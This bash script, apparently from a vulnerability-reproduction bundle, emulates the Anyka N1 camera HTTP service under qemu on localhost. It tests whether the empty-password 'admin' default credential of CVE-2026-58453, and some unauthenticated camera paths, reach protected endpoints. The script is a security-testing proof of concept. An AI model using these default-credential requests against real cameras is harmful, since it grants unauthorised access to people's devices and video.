#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory. ROOT is the bundle root.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
VV="$ROOT/vuln_variant"
LOGS="$ROOT/logs/vuln_variant"
mkdir -p "$VV" "$LOGS"
cd "$ROOT"

LOG="$LOGS/reproduction_steps.log"
rm -f "$LOG"
exec > >(tee -a "$LOG") 2>&1

echo "=== CVE-2026-58453 variant search: alternate Basic-auth paths and fix-bypass checks ==="
echo "ROOT=$ROOT"
echo "VV=$VV"

SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
CONFIRMED_BYPASS=false
CANDIDATE_RESULTS="$VV/candidate_results.jsonl"
RUNTIME_MANIFEST="$VV/runtime_manifest.json"
SOURCE_IDENTITY="$VV/source_identity.json"
: > "$CANDIDATE_RESULTS"

write_runtime_manifest() {
  python3 - "$RUNTIME_MANIFEST" "$CANDIDATE_RESULTS" "$SERVICE_STARTED" "$HEALTHCHECK_PASSED" "$TARGET_PATH_REACHED" "$CONFIRMED_BYPASS" <<'PY'
import json, pathlib, sys
out, results_path, service, health, target, confirmed = sys.argv[1:7]
results=[]
p=pathlib.Path(results_path)
if p.exists():
    for line in p.read_text(errors='replace').splitlines():
        line=line.strip()
        if not line: continue
        try: results.append(json.loads(line))
        except Exception: results.append({'unparsed': line})
manifest={
  'entrypoint_kind': 'api_remote',
  'entrypoint_detail': 'localhost TCP HTTP listener running real Anyka N1/anyka_ipc NetSDK HTTP service code from libNkN1API.a; tests compare factory-default admin:empty against non-empty-password remediated configuration',
  'service_started': service == 'true',
  'healthcheck_passed': health == 'true',
  'target_path_reached': target == 'true',
  'confirmed_bypass': confirmed == 'true',
  'runtime_stack': ['qemu-arm', 'ARM libNkN1API.a', 'Anyka N1/anyka_ipc WEBS/NetSDK HTTP service'],
  'candidate_results': results,
  'proof_artifacts': [
    'logs/vuln_variant/reproduction_steps.log',
    'vuln_variant/candidate_results.jsonl',
    'vuln_variant/source_identity.json'
  ],
  'notes': 'No distinct default-credential bypass was confirmed on the non-empty-password fixed control; excluded public snapshot/cgi observations are documented as separate surfaces, not the same root cause.'
}
pathlib.Path(out).write_text(json.dumps(manifest, indent=2) + '\n')
PY
}
trap 'rc=$?; write_runtime_manifest; exit $rc' EXIT

record_result() {
  local candidate="$1" role="$2" path="$3" auth="$4" code="$5" same_root="$6" verdict="$7" body_file="$8"
  python3 - "$CANDIDATE_RESULTS" "$candidate" "$role" "$path" "$auth" "$code" "$same_root" "$verdict" "$body_file" <<'PY'
import json, pathlib, sys
out,candidate,role,path,auth,code,same_root,verdict,body_file=sys.argv[1:10]
body_excerpt=''
try:
    data=pathlib.Path(body_file).read_bytes()[:180]
    body_excerpt=data.decode('utf-8','replace').replace('\n',' ')
except Exception:
    pass
rec={
  'candidate': candidate,
  'target_role': role,
  'request_path': path,
  'auth': auth or '<none>',
  'http_code': code,
  'same_default_credential_root_cause': same_root == 'true',
  'verdict': verdict,
  'body_excerpt': body_excerpt,
  'body_artifact': body_file
}
with open(out, 'a', encoding='utf-8') as f:
    f.write(json.dumps(rec, sort_keys=True) + '\n')
PY
}

ensure_tools() {
  local missing=()
  for b in git curl jq python3; do command -v "$b" >/dev/null 2>&1 || missing+=("$b"); done
  command -v arm-linux-gnueabi-gcc >/dev/null 2>&1 || missing+=("gcc-arm-linux-gnueabi")
  command -v qemu-arm >/dev/null 2>&1 || missing+=("qemu-user")
  if [[ ${#missing[@]} -gt 0 ]]; then
    echo "Installing missing packages/tools: ${missing[*]}"
    sudo apt-get update -qq
    sudo apt-get install -y -qq git curl jq python3 gcc-arm-linux-gnueabi qemu-user binutils-arm-linux-gnueabi
  fi
}
ensure_tools

CONTEXT_FILE="$ROOT/project_cache_context.json"
PROJECT_CACHE=""
if [[ -f "$CONTEXT_FILE" ]] && [[ "$(jq -r '.prepared // false' "$CONTEXT_FILE" 2>/dev/null || echo false)" == "true" ]]; then
  PROJECT_CACHE="$(jq -r '.project_cache_dir // empty' "$CONTEXT_FILE")"
fi
if [[ -z "$PROJECT_CACHE" || "$PROJECT_CACHE" == "null" ]]; then
  PROJECT_CACHE="$VV/project_cache"
fi
mkdir -p "$PROJECT_CACHE"
echo "PROJECT_CACHE=$PROJECT_CACHE"

RESEARCH_REPO="$PROJECT_CACHE/repo"
SMARTCAMERA_REPO="$PROJECT_CACHE/SmartCamera"
SMARTCAMERA_COMMIT="a5bece938ff0dc019ead3d62fa6adefbc8c497fe"
if [[ ! -d "$RESEARCH_REPO/.git" ]]; then
  echo "Cloning disclosure repository into $RESEARCH_REPO"
  rm -rf "$RESEARCH_REPO"
  git clone --depth 1 https://github.com/rwprimitives/jaiotlink-c492a-wifi-camera.git "$RESEARCH_REPO"
fi
if [[ ! -d "$SMARTCAMERA_REPO/.git" ]]; then
  echo "Cloning Anyka SmartCamera source into $SMARTCAMERA_REPO"
  rm -rf "$SMARTCAMERA_REPO"
  git clone https://github.com/jingwenyi/SmartCamera.git "$SMARTCAMERA_REPO"
fi
git -C "$SMARTCAMERA_REPO" fetch --depth 1 origin "$SMARTCAMERA_COMMIT" >/dev/null 2>&1 || true
git -C "$SMARTCAMERA_REPO" checkout -q "$SMARTCAMERA_COMMIT"
SMART_COMMIT_ACTUAL="$(git -C "$SMARTCAMERA_REPO" rev-parse HEAD)"
RESEARCH_COMMIT="$(git -C "$RESEARCH_REPO" rev-parse HEAD)"
echo "SmartCamera source commit: $SMART_COMMIT_ACTUAL"
echo "Disclosure repo commit: $RESEARCH_COMMIT"

N1_SRC="$SMARTCAMERA_REPO/source/anyka_ipc"
N1_LIB="$N1_SRC/cloud/n1/libNkN1API.a"
N1_UTILS="$N1_SRC/cloud/n1/libNkUtils.a"
N1_BASE="$N1_SRC/cloud/n1/libbase.a"
for f in "$N1_LIB" "$N1_UTILS" "$N1_BASE"; do [[ -f "$f" ]] || { echo "ERROR: required Anyka library missing: $f" >&2; exit 2; }; done

python3 - "$SOURCE_IDENTITY" "$RESEARCH_REPO" "$RESEARCH_COMMIT" "$SMART_COMMIT_ACTUAL" "$N1_LIB" "$N1_UTILS" "$N1_BASE" <<'PY'
import hashlib, json, pathlib, subprocess, sys
out, research_repo, research_commit, smart_commit, *libs = sys.argv[1:]
def sha256(p):
    h=hashlib.sha256();
    with open(p,'rb') as f:
        for b in iter(lambda:f.read(65536), b''): h.update(b)
    return h.hexdigest()
identity={
  'repository': 'https://github.com/jingwenyi/SmartCamera (Anyka N1/anyka_ipc SDK source) plus https://github.com/rwprimitives/jaiotlink-c492a-wifi-camera disclosure notes',
  'commit_source': 'git_rev_parse',
  'commit_sha': smart_commit,
  'submitted_target': {
    'target_kind': 'firmware',
    'version': 'JAIOTlink C492A-W6 firmware 4.8.30.57701411',
    'display': 'JAIOTlink C492A-W6 firmware 4.8.30.57701411 / anyka_ipc HTTP service'
  },
  'variant_target': {
    'target_kind': 'source_commit_plus_runtime_configuration',
    'commit_sha': smart_commit,
    'ref': smart_commit,
    'display': 'Anyka N1 libNkN1API.a at SmartCamera commit %s; vulnerable config admin empty vs fixed-control config admin fixed-secret' % smart_commit
  },
  'supporting_disclosure_commit': research_commit,
  'library_sha256': {str(pathlib.Path(p).name): sha256(p) for p in libs},
  'notes': 'No vendor fixed firmware or upstream patch commit was public at test time. The fixed/latest comparison is a behavioral remediation control using the same HTTP service code but provisioning admin with a non-empty password.'
}
pathlib.Path(out).write_text(json.dumps(identity, indent=2) + '\n')
PY

BUILD_DIR="$VV/build"
mkdir -p "$BUILD_DIR"
HARNESS_C="$BUILD_DIR/n1_variant_launcher.c"
STUBS_C="$BUILD_DIR/stubs.c"
HARNESS_BIN="$BUILD_DIR/n1_variant_launcher_arm"
cat > "$HARNESS_C" <<'C'
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>

typedef int NK_N1Error; typedef int NK_Int; typedef unsigned int NK_UInt32;
typedef unsigned short NK_UInt16; typedef unsigned char NK_Byte; typedef unsigned char* NK_PByte;
typedef unsigned int NK_Size; typedef int NK_SSize; typedef void* NK_PVoid; typedef char NK_Char;
typedef char* NK_PChar; typedef int NK_Boolean;
typedef struct { int opaque[64]; } NK_N1LiveSession;
typedef struct { int opaque[256]; } NK_N1LanSetup;
typedef struct { int opaque[128]; } NK_WiFiHotSpot;
typedef int NK_N1DataPayload;

typedef struct Nk_N1Device {
    NK_Char device_id[128]; NK_Char cloud_id[32]; NK_UInt16 port; NK_PVoid user_ctx;
    struct {
        NK_N1Error (*onLiveSnapshot)(NK_Int, NK_Size, NK_Size, NK_PByte, NK_Size*);
        NK_N1Error (*onLiveConnected)(NK_N1LiveSession*, NK_PVoid);
        NK_N1Error (*onLiveDisconnected)(NK_N1LiveSession*, NK_PVoid);
        NK_SSize (*onLiveReadFrame)(NK_N1LiveSession*, NK_PVoid, NK_N1DataPayload*, NK_UInt32*, NK_PByte*);
        NK_N1Error (*onLiveAfterReadFrame)(NK_N1LiveSession*, NK_PVoid, NK_PByte*, NK_Size);
        NK_N1Error (*onLanSetup)(NK_PVoid, NK_Boolean, NK_N1LanSetup*);
        NK_N1Error (*onScanWiFiHotSpot)(NK_PVoid, NK_WiFiHotSpot*, NK_Size*);
        NK_N1Error (*onConnectWiFiHotSpot)(NK_PVoid, NK_N1LanSetup*);
        NK_N1Error (*onUserChanged)(NK_PVoid);
    } EventSet;
} NK_N1Device;

extern void NK_N1Device_Version(NK_UInt32*,NK_UInt32*,NK_UInt32*,NK_UInt32*);
extern NK_Int NK_N1Device_Init(NK_N1Device*);
extern NK_Int NK_N1Device_AddUser(NK_PChar,NK_PChar,NK_UInt32);
extern NK_Boolean NK_N1Device_HasUser(NK_PChar,NK_PChar,NK_UInt32*);
extern NK_Int WEBS_set_resource_dir(const char*);

static NK_N1Error snap(NK_Int ch, NK_Size w, NK_Size h, NK_PByte pic, NK_Size *size) {
    const unsigned char jpeg[] = {0xff,0xd8,0xff,0xe0,0,0x10,'J','F','I','F',0,1,1,0,0,1,0,1,0,0,0xff,0xd9};
    if (pic && size && *size >= sizeof(jpeg)) { memcpy(pic, jpeg, sizeof(jpeg)); *size = sizeof(jpeg); }
    else if (size) { *size = sizeof(jpeg); }
    return 0;
}
static NK_N1Error ok_live(NK_N1LiveSession*s,NK_PVoid c){return 0;}
static NK_N1Error ok_after(NK_N1LiveSession*s,NK_PVoid c,NK_PByte*d,NK_Size z){return 0;}
static NK_SSize no_frame(NK_N1LiveSession*s,NK_PVoid c,NK_N1DataPayload*p,NK_UInt32*t,NK_PByte*d){return -1;}
static NK_N1Error ok_lan(NK_PVoid c,NK_Boolean set_or_get,NK_N1LanSetup*st){return 0;}
static NK_N1Error ok_scan(NK_PVoid c,NK_WiFiHotSpot*h,NK_Size*n){ if(n)*n=0; return 0; }
static NK_N1Error ok_wifi(NK_PVoid c,NK_N1LanSetup*s){return 0;}
static NK_N1Error user_changed(NK_PVoid c){return 0;}

int main(int argc, char **argv) {
    int port = argc > 1 ? atoi(argv[1]) : 18080;
    const char *password = argc > 2 ? argv[2] : "";
    NK_UInt32 maj=0,min=0,rev=0,num=0;
    NK_N1Device_Version(&maj,&min,&rev,&num);
    fprintf(stdout, "launcher: libNkN1API version=%u.%u.%u-%u port=%d admin_password_length=%zu\n", maj,min,rev,num,port,strlen(password));
    NK_N1Device dev; memset(&dev, 0, sizeof(dev));
    dev.port = (NK_UInt16)port;
    dev.EventSet.onLiveSnapshot=snap; dev.EventSet.onLiveConnected=ok_live; dev.EventSet.onLiveDisconnected=ok_live;
    dev.EventSet.onLiveReadFrame=no_frame; dev.EventSet.onLiveAfterReadFrame=ok_after; dev.EventSet.onLanSetup=ok_lan;
    dev.EventSet.onScanWiFiHotSpot=ok_scan; dev.EventSet.onConnectWiFiHotSpot=ok_wifi; dev.EventSet.onUserChanged=user_changed;
    int rc = NK_N1Device_Init(&dev);
    fprintf(stdout, "launcher: NK_N1Device_Init rc=%d\n", rc);
    WEBS_set_resource_dir("./www");
    rc = NK_N1Device_AddUser("admin", (char*)password, 0);
    char stored[128]={0}; NK_UInt32 forbidden=0;
    int has = NK_N1Device_HasUser("admin", stored, &forbidden);
    fprintf(stdout, "launcher: NK_N1Device_AddUser(admin,<len=%zu>) rc=%d has=%d stored_password_length=%zu\n", strlen(password), rc, has, strlen(stored));
    fflush(stdout);
    while (1) sleep(60);
    return 0;
}
C
cat > "$STUBS_C" <<'C'
int ONVIF_SERVER_daemon(void){return 0;}
int ONVIF_check_uri(const char *u, unsigned int n){return -1;}
C

arm-linux-gnueabi-gcc -static -Wl,--allow-multiple-definition \
  -o "$HARNESS_BIN" "$HARNESS_C" "$STUBS_C" \
  -Wl,--start-group "$N1_LIB" "$N1_UTILS" "$N1_BASE" -Wl,--end-group \
  -lpthread -lm -lrt
file "$HARNESS_BIN"
sha256sum "$HARNESS_BIN" | tee "$VV/harness_sha256.txt"

CURRENT_PID=""
cleanup_service() {
  if [[ -n "${CURRENT_PID:-}" ]]; then
    kill "$CURRENT_PID" >/dev/null 2>&1 || true
    wait "$CURRENT_PID" >/dev/null 2>&1 || true
    CURRENT_PID=""
  fi
}
trap 'rc=$?; cleanup_service; write_runtime_manifest; exit $rc' EXIT

request() {
  local role="$1" candidate="$2" path="$3" auth="$4"
  local safe_path safe_auth base header body trace code
  safe_path="$(printf '%s' "$path" | tr -c 'A-Za-z0-9._-' '_')"
  safe_auth="$(printf '%s' "${auth:-none}" | tr -c 'A-Za-z0-9._-' '_')"
  base="$LOGS/${role}_${candidate}_${safe_path}_${safe_auth}"
  header="${base}.headers.txt"; body="${base}.body"; trace="${base}.curl.log"
  if [[ -n "$auth" ]]; then
    code=$(curl -sS -D "$header" -o "$body" -w '%{http_code}' -u "$auth" --max-time 5 "http://127.0.0.1:${PORT}${path}" 2>"$trace" || true)
  else
    code=$(curl -sS -D "$header" -o "$body" -w '%{http_code}' --max-time 5 "http://127.0.0.1:${PORT}${path}" 2>"$trace" || true)
  fi
  LAST_CODE="$code"
  LAST_BODY_FILE="$body"
  echo "$role $candidate path=$path auth=${auth:-<none>} http_code=$code bytes=$(stat -c%s "$body" 2>/dev/null || echo 0)"
}
wait_for_service() {
  local role="$1" code="000" body_file=""
  for _ in $(seq 1 60); do
    request "$role" "health" "/NetSDK/System/deviceInfo" ""
    code="$LAST_CODE"
    body_file="$LAST_BODY_FILE"
    if [[ "$code" == "401" || "$code" == "200" ]]; then
      SERVICE_STARTED=true; HEALTHCHECK_PASSED=true
      echo "Service on port $PORT is accepting HTTP; health status=$code"
      return 0
    fi
    sleep 0.25
  done
  echo "ERROR: service on port $PORT did not become ready (last status=$code body=$body_file)" >&2
  return 1
}
run_target() {
  local role="$1" password="$2" port="$3"
  PORT="$port"
  local slog="$LOGS/${role}_service.log"
  rm -f "$LOGS/${role}_"* "$slog"
  echo "=== Starting $role target on 127.0.0.1:$PORT (admin password length ${#password}) ==="
  (cd "$BUILD_DIR" && timeout 50 qemu-arm "$HARNESS_BIN" "$PORT" "$password") > "$slog" 2>&1 &
  CURRENT_PID=$!
  wait_for_service "$role"

  local code body verdict same_root

  request "$role" "c1_netsdk_deviceinfo_admin_empty" "/NetSDK/System/deviceInfo" "admin:"
  code="$LAST_CODE"
  body="$LAST_BODY_FILE"; same_root=true
  if [[ "$role" == "vulnerable" && "$code" == "200" ]]; then verdict="baseline_reproduced"; TARGET_PATH_REACHED=true
  elif [[ "$role" == "fixed_control" && "$code" == "401" ]]; then verdict="fixed_control_blocks_default_credential"
  elif [[ "$role" == "fixed_control" && "$code" == "200" ]]; then verdict="BYPASS_CONFIRMED"; CONFIRMED_BYPASS=true; TARGET_PATH_REACHED=true
  else verdict="unexpected"; fi
  record_result "c1_netsdk_deviceinfo_admin_empty" "$role" "/NetSDK/System/deviceInfo" "admin:" "$code" "$same_root" "$verdict" "$body"

  request "$role" "c2_netsdk_network_admin_empty" "/NetSDK/Network/interface/1" "admin:"
  code="$LAST_CODE"
  body="$LAST_BODY_FILE"; same_root=true
  if [[ "$role" == "vulnerable" && "$code" == "200" ]]; then verdict="alternate_protected_endpoint_reaches_same_auth_sink_on_vulnerable_target"; TARGET_PATH_REACHED=true
  elif [[ "$role" == "fixed_control" && "$code" == "401" ]]; then verdict="not_bypass_fixed_control_blocks_default_credential_on_alternate_netsdk_path"
  elif [[ "$role" == "fixed_control" && "$code" == "200" ]]; then verdict="BYPASS_CONFIRMED"; CONFIRMED_BYPASS=true; TARGET_PATH_REACHED=true
  else verdict="unexpected"; fi
  record_result "c2_netsdk_network_admin_empty" "$role" "/NetSDK/Network/interface/1" "admin:" "$code" "$same_root" "$verdict" "$body"

  request "$role" "c3_snapshot_noauth_exclusion" "/snapshot.jpg" ""
  code="$LAST_CODE"
  body="$LAST_BODY_FILE"; same_root=false
  if [[ "$code" == "200" ]]; then verdict="excluded_separate_public_snapshot_surface_not_default_credential_root_cause"; else verdict="not_reachable"; fi
  record_result "c3_snapshot_noauth_exclusion" "$role" "/snapshot.jpg" "" "$code" "$same_root" "$verdict" "$body"

  request "$role" "c4_legacy_gw2_noauth_exclusion" "/cgi-bin/gw2.cgi" ""
  code="$LAST_CODE"
  body="$LAST_BODY_FILE"; same_root=false
  if [[ "$code" == "200" ]]; then verdict="excluded_legacy_cgi_public_info_surface_not_default_credential_root_cause"; else verdict="not_reachable"; fi
  record_result "c4_legacy_gw2_noauth_exclusion" "$role" "/cgi-bin/gw2.cgi" "" "$code" "$same_root" "$verdict" "$body"

  if [[ "$role" == "fixed_control" ]]; then
    request "$role" "control_configured_password" "/NetSDK/System/deviceInfo" "admin:$password"
    code="$LAST_CODE"
    body="$LAST_BODY_FILE"
    if [[ "$code" == "200" ]]; then verdict="service_healthy_configured_password_accepted"; else verdict="unexpected_fixed_control_unhealthy"; fi
    record_result "control_configured_password" "$role" "/NetSDK/System/deviceInfo" "admin:<configured-non-empty>" "$code" true "$verdict" "$body"
  fi

  cleanup_service
  echo "=== Completed $role target ==="
}

run_target "vulnerable" "" 18120
run_target "fixed_control" "fixed-secret" 18121

write_runtime_manifest

if [[ "$CONFIRMED_BYPASS" == "true" ]]; then
  echo "=== CONFIRMED: a same-root default-credential variant bypassed the non-empty-password fixed control ==="
  exit 0
fi

echo "=== NO CONFIRMED VARIANT/BYPASS: same-root admin:empty attempts work only on vulnerable configuration; fixed-control rejects them. Excluded public snapshot/gw2 paths are separate surfaces, not default-credential bypasses. ==="
exit 1
